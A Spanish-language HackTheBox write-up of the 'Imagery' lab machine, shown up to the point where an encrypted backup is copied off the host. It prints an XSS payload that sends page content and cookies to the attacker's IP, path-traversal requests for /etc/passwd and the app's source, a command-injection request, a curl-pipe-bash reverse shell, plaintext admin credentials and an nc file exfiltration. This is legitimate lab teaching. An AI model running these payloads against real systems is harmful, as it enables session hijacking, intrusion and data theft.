Contents

HackTheBox - Imagery

HackTheBox - Imagery

Informacion de la Maquina

En Imagery descubrimos multiples vulnerabilidades web, iniciando con un XSS para escalar privilegios. Luego, explotar Path Traversal para la lectura y analisis de codigo fuente de la aplicacion. Esto ultimo permitio identificar y explotar Command Injection para acceso inicial. Dentro, encontramos un backup encriptado en AES el cual contenia credenciales que permitieron cambiar a un nuevo usuario. Finalmente escalamos privilegos tras registra un cronjob a traves de un comando privilegiado.

DificultadMEDIO
OSLinux
Fecha de Salida2025-09-27
MakerNab6eel
First User BloodNLTE (0H 38M 0S)
First Root BloodNLTE (0H 46M 44S)
Rated Difficulty
Machine Matrix

Recon

nmap

nmap muestra multiples puertos abiertos: http (8000) y ssh (22).

bash
 1# Nmap 7.95 scan initiated Sun Sep 28 21:18:18 2025 as: /usr/lib/nmap/nmap --privileged -p22,8000 -sV -sC -oN nmap_scan 10.10.11.88
 2Nmap scan report for 10.10.11.88
 3Host is up (0.087s latency).
 4
 5PORT     STATE SERVICE VERSION
 622/tcp   open  ssh     OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
 7| ssh-hostkey: 
 8|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
 9|_  256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
108000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.7)
11|_http-title: Image Gallery
12|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
13Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
14
15Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
16# Nmap done at Sun Sep 28 21:18:28 2025 -- 1 IP address (1 host up) scanned in 9.96 seconds

Web Site

Los headers del sitio muestran un servidor Werkzeug.

bash
1❯ curl -sI 10.10.11.88:8000
2HTTP/1.1 200 OK
3Server: Werkzeug/3.1.3 Python/3.12.7
4Date: Mon, 29 Sep 2025 03:19:10 GMT
5Content-Type: text/html; charset=utf-8
6Content-Length: 146960
7Connection: close
8
9❯

El sitio se describe como una galeria en linea.

image

Vemos dos formularios, registro y login.

image

image

Website - User

Tras registrar un usuario y autenticarnos, se muestra una galeria vacia.

image

El sitio tiene un formulario para subir imagenes.

image

Tras subir una imagen esta se muestra en la galeria.

image

image

La imagen tiene varias opciones, unicamente dos son funcionales. La opcion de eliminar imagenes tiene dos opciones.

image

image

La creacion de grupo de imagenes se limita unicamente al formulario.

image

image

Bug Report

En el sitio tambien existe un formulario para reportar un bug.

image

Tras enviar un reporte se indica una revision de este por el Admin.

image

XSS via Bug Report

En el codigo fuente del sitio encontramos funciones en javascript para el sitio. loadBugReports() es la encargada de obtener los reportes y mostrarlos, en esta se utiliza DOMPurify.sanitize esto no permitiria ataques XSS sin embargo, unicamente se utiliza este en el id, reporter y nombre del reporte. En detalles del reporte (${report.details}) esta funcion no aplica.

javascript
 1async function loadBugReports() {
 2    const bugReportsList = document.getElementById('bug-reports-list');
 3    const noBugReports = document.getElementById('no-bug-reports');
 4
 5    if (!bugReportsList || !noBugReports) {
 6        console.error("Error: Admin panel bug report elements not found.");
 7        return;
 8    }
 9
10    bugReportsList.innerHTML = '';
11    noBugReports.style.display = 'none';
12
13    try {
14        const response = await fetch(`${window.location.origin}/admin/bug_reports`);
15        const data = await response.json();
16
17        if (data.success) {
18            if (data.bug_reports.length === 0) {
19                noBugReports.style.display = 'block';
20            } else {
21                data.bug_reports.forEach(report => {
22                    const reportCard = document.createElement('div');
23                    reportCard.className = 'bg-white p-6 rounded-xl shadow-md border-l-4 border-purple-500 flex justify-between items-center';
24                    
25                    reportCard.innerHTML = `
26                        <div>
27                            <p class="text-sm text-gray-500 mb-2">Report ID: ${DOMPurify.sanitize(report.id)}</p>
28                            <p class="text-sm text-gray-500 mb-2">Submitted by: ${DOMPurify.sanitize(report.reporter)} (ID: ${DOMPurify.sanitize(report.reporterDisplayId)}) on ${new Date(report.timestamp).toLocaleString()}</p>
29                            <h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Name: ${DOMPurify.sanitize(report.name)}</h3>
30                            <h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Details:</h3>
31                            <div class="bg-gray-100 p-4 rounded-lg overflow-auto max-h-48 text-gray-700 break-words">
32                                ${report.details}
33                            </div>
34                        </div>
35                        <button onclick="showDeleteBugReportConfirmation('${DOMPurify.sanitize(report.id)}')" class="bg-red-500 hover:bg-red-600 text-white font-bold py-2 px-4 rounded-lg shadow-md transition duration-200 ml-4">
36                            Delete
37                        </button>
38                    `;
39                    bugReportsList.appendChild(reportCard);
40                });
41            }
42        } else {
43            showMessage(data.message, 'error');
44        }
45    } catch (error) {
46        console.error('Error loading bug reports:', error);
47        showMessage('Failed to load bug reports. Please try again later.', 'error');
48    }
49}

Utilizamos el siguiente payload para enviar el contenido del sitio.

html
1<img src onerror=fetch('http://10.10.14.4',{method:'POST',body:document.body})>

Vemos en netcat una solicitud post con el contenido del sitio, se listan opciones de administrador. Tambien, se listan los usuarios registrados.

bash
 1❯ nc -lvvvp 80
 2listening on [any] 80 ...
 310.10.11.88: inverse host lookup failed: Unknown host
 4connect to [10.10.14.4] from (UNKNOWN) [10.10.11.88] 33986
 5POST / HTTP/1.1
 6Host: 10.10.14.4
 7Connection: keep-alive
 8Content-Length: 604
 9User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.36
10Content-Type: text/plain;charset=UTF-8
11Accept: */*
12Origin: http://0.0.0.0:8000
13Referer: http://0.0.0.0:8000/
14Accept-Encoding: gzip, deflate
15Accept-Language: en-US,en;q=0.9
16
17Imagery
18™
19Home
20Gallery
21Upload
22Admin Panel
23Logout
24Admin Panel
25User Management
26
27Email ID: admin@imagery.htb (Admin)
28
29ID: a1b2c3d4
30
31Download Log
32Admin User
33
34Email ID: testuser@imagery.htb
35
36ID: e5f6g7h8
37
38Download Log
39Delete User
40Submitted Bug Reports
41
42Report ID: 11c40f5c-f5e5-4fa5-96a9-9ee8f88554f6
43
44Submitted by: sckull@imagery.htb (ID: 11c8d489) on 9/29/2025, 4:41:04 AM
45
46Bug Name: abc
47Bug Details:
48Delete
49Imagery™
50
51© 2025 Imagery. All rights reserved.
52
53Quick Links
54Home
55Gallery
56Upload
57Admin Panel
58Connect With Us
59Facebook
60Twitter
61Instagram
62Contact Us
63
64support@imagery.com
65
66123 Gallery Lane, Art City sent 0, rcvd 987
67❯

Cambiamos el payload para obtener la cookie del admin.

bash
1# cookie
2<img src onerror=fetch('http://10.10.14.4/',{method:'POST',body:document.cookie})>

Un pequeno script de python imprime los headers y el body de las solicitudes POST. Observamos la cookie del admin.

bash
 1❯ python app.py;
 2 * Serving Flask app 'app'
 3# [... cut ...]
 4--------------------------------------------------
 5[POST Request Received]
 6
 7--- HEADERS ---
 8  Host: '10.10.14.4'
 9  Connection: 'keep-alive'
10  Content-Length: '194'
11  User-Agent: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.36'
12  Content-Type: 'text/plain;charset=UTF-8'
13  Accept: '*/*'
14  Origin: 'http://0.0.0.0:8000'
15  Referer: 'http://0.0.0.0:8000/'
16  Accept-Encoding: 'gzip, deflate'
17  Accept-Language: 'en-US,en;q=0.9'
18
19--- BODY ---
20  Raw Data: 'session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNonrA.kPbQ2hEbXkVp8Qv6KqzNaMj0oXY'
21--------------------------------------------------
2210.10.11.88 - - [29/Sep/2025 00:31:11] "POST / HTTP/1.1" 200 -

Access as Admin

Reemplazamos esta cookie en nuestro navegador logrando acceso como admin.

image

Logs

Cada usuario tiene un archivo de log accesible por el sitio.

bash
 1GET /admin/get_system_log?log_identifier=sckull%40imagery.htb.log HTTP/1.1
 2Host: 10.10.11.88:8000
 3Cookie: session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNonrA.kPbQ2hEbXkVp8Qv6KqzNaMj0oXY
 4
 5
 6HTTP/1.1 200 OK
 7Server: Werkzeug/3.1.3 Python/3.12.7
 8
 9[2025-09-29T06:30:40.881350] Uploaded image: batman.jpeg (ID: 38b0eb05-311e-47e3-b386-7bd47b955e1f) to group 'My Images'.
10[2025-09-29T06:30:44.286062] Logged out successfully.
11[2025-09-29T06:30:58.799133] Registered successfully.
12[2025-09-29T06:31:02.119479] Logged in successfully.

Path Traversal

Tras modificar el valor de log_identifier este nos permite acceder a archivos de la maquina sin restricciones, lo que indica una vulnerabilidad path traversal.

bash
 1GET /admin/get_system_log?log_identifier=/etc/passwd HTTP/1.1
 2Host: 10.10.11.88:8000
 3Cookie: session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNonrA.kPbQ2hEbXkVp8Qv6KqzNaMj0oXY
 4
 5HTTP/1.1 200 OK
 6Server: Werkzeug/3.1.3 Python/3.12.7
 7
 8root:x:0:0:root:/root:/bin/bash
 9daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
10bin:x:2:2:bin:/bin:/usr/sbin/nologin
11sys:x:3:3:sys:/dev:/usr/sbin/nologin
12sync:x:4:65534:sync:/bin:/bin/sync
13games:x:5:60:games:/usr/games:/usr/sbin/nologin
14man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
15lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
16mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
17news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
18uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
19proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
20www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
21backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
22list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
23irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
24_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
25nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
26systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
27usbmux:x:100:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
28systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
29messagebus:x:102:102::/nonexistent:/usr/sbin/nologin
30systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
31pollinate:x:103:1::/var/cache/pollinate:/bin/false
32polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
33syslog:x:104:104::/nonexistent:/usr/sbin/nologin
34uuidd:x:105:105::/run/uuidd:/usr/sbin/nologin
35tcpdump:x:106:107::/nonexistent:/usr/sbin/nologin
36tss:x:107:108:TPM software stack,,,:/var/lib/tpm:/bin/false
37landscape:x:108:109::/var/lib/landscape:/usr/sbin/nologin
38fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
39web:x:1001:1001::/home/web:/bin/bash
40sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
41snapd-range-524288-root:x:524288:524288::/nonexistent:/usr/bin/false
42snap_daemon:x:584788:584788::/nonexistent:/usr/bin/false
43mark:x:1002:1002::/home/mark:/bin/bash
44_laurel:x:101:988::/var/log/laurel:/bin/false
45dhcpcd:x:110:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false

Observamos al usuario web y mark como registrados.

bash
1❯ curl -siX GET -b 'session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNonrA.kPbQ2hEbXkVp8Qv6KqzNaMj0oXY' 'http://10.10.11.88:8000/admin/get_system_log?log_identifier=/etc/passwd' | grep sh
2root:x:0:0:root:/root:/bin/bash
3fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
4web:x:1001:1001::/home/web:/bin/bash
5sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
6mark:x:1002:1002::/home/mark:/bin/bash
7❯

Source Code

Logramos obtener el codigo fuente de la aplicacion a traves de esta vulnerabilidad.

bash
 1GET /admin/get_system_log?log_identifier=../app.py HTTP/1.1
 2Host: 10.10.11.88:8000
 3Cookie: session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNonrA.kPbQ2hEbXkVp8Qv6KqzNaMj0oXY
 4
 5HTTP/1.1 200 OK
 6Server: Werkzeug/3.1.3 Python/3.12.7
 7
 8from flask import Flask, render_template
 9import os
10import sys
11from datetime import datetime
12from config import *
13from utils import _load_data, _save_data
14from utils import *
15from api_auth import bp_auth
16from api_upload import bp_upload
17from api_manage import bp_manage
18from api_edit import bp_edit
19from api_admin import bp_admin
20from api_misc import bp_misc
21
22app_core = Flask(__name__)
23app_core.secret_key = os.urandom(24).hex()
24app_core.config['SESSION_COOKIE_HTTPONLY'] = False
25
26app_core.register_blueprint(bp_auth)
27app_core.register_blueprint(bp_upload)
28app_core.register_blueprint(bp_manage)
29app_core.register_blueprint(bp_edit)
30app_core.register_blueprint(bp_admin)
31app_core.register_blueprint(bp_misc)
32
33@app_core.route('/')
34def main_dashboard():
35    return render_template('index.html')
36
37if __name__ == '__main__':
38    current_database_data = _load_data()
39    default_collections = ['My Images', 'Unsorted', 'Converted', 'Transformed']
40    existing_collection_names_in_database = {g['name'] for g in current_database_data.get('image_collections', [])}
41    for collection_to_add in default_collections:
42        if collection_to_add not in existing_collection_names_in_database:
43            current_database_data.setdefault('image_collections', []).append({'name': collection_to_add})
44    _save_data(current_database_data)
45    for user_entry in current_database_data.get('users', []):
46        user_log_file_path = os.path.join(SYSTEM_LOG_FOLDER, f"{user_entry['username']}.log")
47        if not os.path.exists(user_log_file_path):
48            with open(user_log_file_path, 'w') as f:
49                f.write(f"[{datetime.now().isoformat()}] Log file created for {user_entry['username']}.\n")
50    port = int(os.environ.get("PORT", 8000))
51    if port in BLOCKED_APP_PORTS:
52        print(f"Port {port} is blocked for security reasons. Please choose another port.")
53        sys.exit(1)
54    app_core.run(debug=False, host='0.0.0.0', port=port)

En config.py se indica la base de datos en archivo json y el uso de dos ejecutables: convert y exiftool.

bash
 1GET /admin/get_system_log?log_identifier=../config.py HTTP/1.1
 2Host: 10.10.11.88:8000
 3Cookie: session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNonrA.kPbQ2hEbXkVp8Qv6KqzNaMj0oXY
 4
 5HTTP/1.1 200 OK
 6Server: Werkzeug/3.1.3 Python/3.12.7
 7
 8import os
 9import ipaddress
10
11DATA_STORE_PATH = 'db.json'
12UPLOAD_FOLDER = 'uploads'
13SYSTEM_LOG_FOLDER = 'system_logs'
14
15os.makedirs(UPLOAD_FOLDER, exist_ok=True)
16os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin'), exist_ok=True)
17os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin', 'converted'), exist_ok=True)
18os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin', 'transformed'), exist_ok=True)
19os.makedirs(SYSTEM_LOG_FOLDER, exist_ok=True)
20
21MAX_LOGIN_ATTEMPTS = 10
22ACCOUNT_LOCKOUT_DURATION_MINS = 1
23
24ALLOWED_MEDIA_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff', 'pdf'}
25ALLOWED_IMAGE_EXTENSIONS_FOR_TRANSFORM = {'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff'}
26ALLOWED_UPLOAD_MIME_TYPES = {
27    'image/jpeg',
28    'image/png',
29    'image/gif',
30    'image/bmp',
31    'image/tiff',
32    'application/pdf'
33}
34ALLOWED_TRANSFORM_MIME_TYPES = {
35    'image/jpeg',
36    'image/png',
37    'image/gif',
38    'image/bmp',
39    'image/tiff'
40}
41MAX_FILE_SIZE_MB = 1
42MAX_FILE_SIZE_BYTES = MAX_FILE_SIZE_MB * 1024 * 1024
43
44BYPASS_LOCKOUT_HEADER = 'X-Bypass-Lockout'
45BYPASS_LOCKOUT_VALUE = os.getenv('CRON_BYPASS_TOKEN', 'default-secret-token-for-dev')
46
47FORBIDDEN_EXTENSIONS = {'php', 'php3', 'php4', 'php5', 'phtml', 'exe', 'sh', 'bat', 'cmd', 'js', 'jsp', 'asp', 'aspx', 'cgi', 'pl', 'py', 'rb', 'dll', 'vbs', 'vbe', 'jse', 'wsf', 'wsh', 'psc1', 'ps1', 'jar', 'com', 'svg', 'xml', 'html', 'htm'}
48BLOCKED_APP_PORTS = {8080, 8443, 3000, 5000, 8888, 53}
49OUTBOUND_BLOCKED_PORTS = {80, 8080, 53, 5000, 8000, 22, 21}
50PRIVATE_IP_RANGES = [
51    ipaddress.ip_network('127.0.0.0/8'),
52    ipaddress.ip_network('172.0.0.0/12'),
53    ipaddress.ip_network('10.0.0.0/8'),
54    ipaddress.ip_network('169.254.0.0/16')
55]
56AWS_METADATA_IP = ipaddress.ip_address('169.254.169.254')
57IMAGEMAGICK_CONVERT_PATH = '/usr/bin/convert'
58EXIFTOOL_PATH = '/usr/bin/exiftool'

El archivo json de base de datos contiene los hashes de usuarios registrados.

bash
 1GET /admin/get_system_log?log_identifier=../db.json HTTP/1.1
 2Host: 10.10.11.88:8000
 3Cookie: session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNonrA.kPbQ2hEbXkVp8Qv6KqzNaMj0oXY
 4
 5HTTP/1.1 200 OK
 6Server: Werkzeug/3.1.3 Python/3.12.7
 7
 8{
 9    "users": [
10        {
11            "username": "admin@imagery.htb",
12            "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
13            "isAdmin": true,
14            "displayId": "a1b2c3d4",
15            "login_attempts": 0,
16            "isTestuser": false,
17            "failed_login_attempts": 0,
18            "locked_until": null
19        },
20        {
21            "username": "testuser@imagery.htb",
22            "password": "2c65c8d7bfbca32a3ed42596192384f6",
23            "isAdmin": false,
24            "displayId": "e5f6g7h8",
25            "login_attempts": 0,
26            "isTestuser": true,
27            "failed_login_attempts": 0,
28            "locked_until": null
29        },
30        {
31            "username": "sckull@imagery.htb",
32            "password": "9e8694e99216221dad8f6fd183904504",
33            "displayId": "47041e8e",
34            "isAdmin": false,
35            "failed_login_attempts": 0,
36            "locked_until": null,
37            "isTestuser": false
38        }
39    ],
40    "images": [
41        {
42            "id": "38b0eb05-311e-47e3-b386-7bd47b955e1f",
43            "filename": "faf65210-8d17-4d4c-a070-76645f524f17_batman.jpeg",
44            "url": "/uploads/faf65210-8d17-4d4c-a070-76645f524f17_batman.jpeg",
45            "title": "batman",
46            "description": "",
47            "timestamp": "2025-09-29T06:30:40.880818",
48            "uploadedBy": "sckull@imagery.htb",
49            "uploadedByDisplayId": "4de03ee2",
50            "group": "My Images",
51            "type": "original",
52            "actual_mimetype": "image/jpeg"
53        }
54    ],
55    "image_collections": [
56        {
57            "name": "My Images"
58        },
59        {
60            "name": "Unsorted"
61        },
62        {
63            "name": "Converted"
64        },
65        {
66            "name": "Transformed"
67        }
68    ],
69    "bug_reports": [
70        {
71            "id": "fe6a46e0-20ab-4014-b7d3-11bd5c58faf3",
72            "name": "ccccc",
73            "details": "<img src onerror=fetch('http://10.10.14.4/',{method:'POST',body:document.cookie})>",
74            "reporter": "sckull@imagery.htb",
75            "reporterDisplayId": "4de03ee2",
76            "timestamp": "2025-09-29T06:30:35.107412"
77        }
78    ]
79}

Sin embargo no encontramos el valor del hash del admin, unicamente de testuser.

HashTypeResult
5d9c1d507a3f76af1e5c97a3ad1eaa31UnknownNot found.
2c65c8d7bfbca32a3ed42596192384f6md5iambatman

testuser

Tras el analisis en api_edit.py encontramos una posibilidad de Command Injection en /apply_visual_transform en la variable command la cual toma valores del usuario para construir y luego ejecutar un comando segun el tipo de ’transformacion’ de la imagen, aunque todo recae a una sesion de cuenta test como se indica al inicio: session.get('is_testuser_account').

bash
 1# api_edit.py
 2
 3# [... cut ...]
 4
 5@bp_edit.route('/apply_visual_transform', methods=['POST'])
 6def apply_visual_transform():
 7    if not session.get('is_testuser_account'):
 8        return jsonify({'success': False, 'message': 'Feature is still in development.'}), 403
 9    if 'username' not in session:
10        return jsonify({'success': False, 'message': 'Unauthorized. Please log in.'}), 401
11    request_payload = request.get_json()
12    image_id = request_payload.get('imageId')
13    transform_type = request_payload.get('transformType')
14    params = request_payload.get('params', {})
15    if not image_id or not transform_type:
16        return jsonify({'success': False, 'message': 'Image ID and transform type are required.'}), 400
17    application_data = _load_data()
18    original_image = next((img for img in application_data['images'] if img['id'] == image_id and img['uploadedBy'] == session['username']), None)
19    if not original_image:
20        return jsonify({'success': False, 'message': 'Image not found or unauthorized to transform.'}), 404
21    original_filepath = os.path.join(UPLOAD_FOLDER, original_image['filename'])
22    if not os.path.exists(original_filepath):
23        return jsonify({'success': False, 'message': 'Original image file not found on server.'}), 404
24    if original_image.get('actual_mimetype') not in ALLOWED_TRANSFORM_MIME_TYPES:
25        return jsonify({'success': False, 'message': f"Transformation not supported for '{original_image.get('actual_mimetype')}' files."}), 400
26    original_ext = original_image['filename'].rsplit('.', 1)[1].lower()
27    if original_ext not in ALLOWED_IMAGE_EXTENSIONS_FOR_TRANSFORM:
28        return jsonify({'success': False, 'message': f"Transformation not supported for {original_ext.upper()} files."}), 400
29    try:
30        unique_output_filename = f"transformed_{uuid.uuid4()}.{original_ext}"
31        output_filename_in_db = os.path.join('admin', 'transformed', unique_output_filename)
32        output_filepath = os.path.join(UPLOAD_FOLDER, output_filename_in_db)
33        if transform_type == 'crop':
34            x = str(params.get('x'))
35            y = str(params.get('y'))
36            width = str(params.get('width'))
37            height = str(params.get('height'))
38            command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
39            subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
40        elif transform_type == 'rotate':
41            degrees = str(params.get('degrees'))
42            command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-rotate', degrees, output_filepath]
43            subprocess.run(command, capture_output=True, text=True, check=True)
44        elif transform_type == 'saturation':
45            value = str(params.get('value'))
46            command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"100,{float(value)*100},100", output_filepath]
47            subprocess.run(command, capture_output=True, text=True, check=True)
48        elif transform_type == 'brightness':
49            value = str(params.get('value'))
50            command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"100,100,{float(value)*100}", output_filepath]
51            subprocess.run(command, capture_output=True, text=True, check=True)
52        elif transform_type == 'contrast':
53            value = str(params.get('value'))
54            command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"{float(value)*100},{float(value)*100},{float(value)*100}", output_filepath]
55            subprocess.run(command, capture_output=True, text=True, check=True)
56        else:
57            return jsonify({'success': False, 'message': 'Unsupported transformation type.'}), 400
58        new_image_id = str(uuid.uuid4())
59        new_image_entry = {
60            'id': new_image_id,
61            'filename': output_filename_in_db,
62            'url': f'/uploads/{output_filename_in_db}',
63            'title': f"Transformed: {original_image['title']}",
64            'description': f"Transformed from {original_image['title']} ({transform_type}).",
65            'timestamp': datetime.now().isoformat(),
66            'uploadedBy': session['username'],
67            'uploadedByDisplayId': session['displayId'],
68            'group': 'Transformed',
69            'type': 'transformed',
70            'original_id': original_image['id'],
71            'actual_mimetype': get_file_mimetype(output_filepath)
72        }
73        application_data['images'].append(new_image_entry)
74        if not any(coll['name'] == 'Transformed' for coll in application_data.get('image_collections', [])):
75            application_data.setdefault('image_collections', []).append({'name': 'Transformed'})
76        _save_data(application_data)
77        return jsonify({'success': True, 'message': 'Image transformed successfully!', 'newImageUrl': new_image_entry['url'], 'newImageId': new_image_id}), 200
78    except subprocess.CalledProcessError as e:
79        return jsonify({'success': False, 'message': f'Image transformation failed: {e.stderr.strip()}'}), 500
80    except Exception as e:
81        return jsonify({'success': False, 'message': f'An unexpected error occurred during transformation: {str(e)}'}), 500
82
83# [... cut ...]

En api_auth se especifica la sesion para is_testuser_account.

bash
 1# api_auth.py 
 2@bp_auth.route('/login', methods=['POST'])
 3def user_authentication():
 4    request_payload = request.get_json()
 5    username = request_payload.get('username')
 6    password = request_payload.get('password')
 7    # [... cut ...]
 8        if current_user_account['password'] == hashed_input_password:
 9            session['username'] = username
10            session['displayId'] = current_user_account['displayId']
11            session['isAdmin'] = current_user_account['isAdmin']
12            session['is_testuser_account'] = current_user_account.get('isTestuser', False)
13            session['is_impersonating_testuser'] = False
14            current_user_account['failed_login_attempts'] = 0
15            current_user_account['locked_until'] = None
16            _save_data(application_data)
17            _log_event(username, "Logged in successfully.")
18            return jsonify({'success': True, 'message': 'Login successful.', 'displayId': current_user_account['displayId'], 'isAdmin': current_user_account['isAdmin'], 'isTestuser': current_user_account.get('isTestuser', False)}), 200
19    # [... cut ...]

Utilizamos las credenciales de testuser, se muestra la opcion de Manage Groups.

image

Tras subir una imagen se muestran mas opciones.

image

Utilizamos la opcion Transform, se listan varias opciones, seleccionamos crop y este muestra la imagen editada.

image

image

Command Injection

Editamos la solicitud para crop y modificamos el valor de x para realizar “command injection”, ejecutamos whoami y id, se muestra que el usuario es web.

bash
 1POST /apply_visual_transform HTTP/1.1
 2Host: 10.10.11.88:8000
 3Cookie: session=.eJxNjTEOgzAMRe_iuWKjRZno2FNELjGJJWJQ7AwIcfeSAanjf_9J74DAui24fwI4oH5-xlca4AGs75BZwM24KLXtOW9UdBU0luiN1KpS-Tdu5nGa1ioGzkq9rsYEM12JWxk5Y6Syd8m-cP4Ay4kxcQ.aNouoA.BQ4xJxRYH4cDEcNUCIR7ZJtSgFI
 4
 5{
 6   "imageId":"549a504f-c935-4265-9b32-bb10661d67b0",
 7   "transformType":"crop",
 8   "params":{
 9      "x":"`whoami``id`",
10      "y":0,
11      "width":174,
12      "height":174
13   }
14}
15
16HTTP/1.1 500 INTERNAL SERVER ERROR
17Server: Werkzeug/3.1.3 Python/3.12.7
18
19{
20   "message":"Image transformation failed: convert: invalid argument for option `-crop': 174x174+webuid=1001(web) @ error/convert.c/ConvertImageCommand/1157.",
21   "success":false
22}

User - web

Ejecutamos shells para ejecutar una shell inversa logrando el acceso.

bash
 1# `curl 10.10.14.4:8000/10.10.14.4:1338|bash`
 2❯ rlwrap nc -lvp 1338
 3listening on [any] 1338 ...
 410.10.11.88: inverse host lookup failed: Unknown host
 5connect to [10.10.14.4] from (UNKNOWN) [10.10.11.88] 50686
 6/bin/sh: 0: can't access tty; job control turned off
 7$ whoami;id;pwd
 8web
 9uid=1001(web) gid=1001(web) groups=1001(web)
10/home/web/web
11$

Encontramos las credenciales para el usuario administrador en admin.py.

bash
 1$ ls -lah bot
 2total 16K
 3drwxr-xr-x 2 root root 4.0K Sep 22 18:56 .
 4drwxrwxr-x 9 web  web  4.0K Sep 29 07:12 ..
 5-rwxr-xr-x 1 web  web  6.8K Aug  2 19:56 admin.py
 6$ cat bot/admin.py
 7from selenium import webdriver
 8from selenium.webdriver.chrome.options import Options
 9from selenium.webdriver.common.by import By
10from selenium.webdriver.support.ui import WebDriverWait
11from selenium.webdriver.support import expected_conditions as EC
12import tempfile, shutil, time, traceback, uuid, os, glob
13
14# ----- Config -----
15CHROME_BINARY = "/usr/bin/google-chrome"
16USERNAME = "admin@imagery.htb"
17PASSWORD = "strongsandofbeach"
18BYPASS_TOKEN = "K7Zg9vB$24NmW!q8xR0p%tL!"
19APP_URL = "http://0.0.0.0:8000"
20# ------------------

Backup

En el directorio /var/backup descubrimos un backup encriptado.

bash
1bash-5.2$ pwd
2/var/backup
3bash-5.2$ ls -lah
4total 22M
5drwxr-xr-x  2 root root 4.0K Sep 22 18:56 .
6drwxr-xr-x 14 root root 4.0K Sep 22 18:56 ..
7-rw-rw-r--  1 root root  22M Aug  6  2024 web_20250806_120723.zip.aes
8bash-5.2$

Utilizamos netcat para enviarlo a nuestra maquina.

bash
1bash-5.2$ nc -w 3 10.10.14.4 80 < web_20250806_120723.zip.aes
2bash-5.2$ sha256sum web_20250806_120723.zip.aes
34b575e42816be79083a2a19c48a998cc3c6d5ab0f3a7fbac2a468dd2087e6820  web_20250806_120723.zip.aes
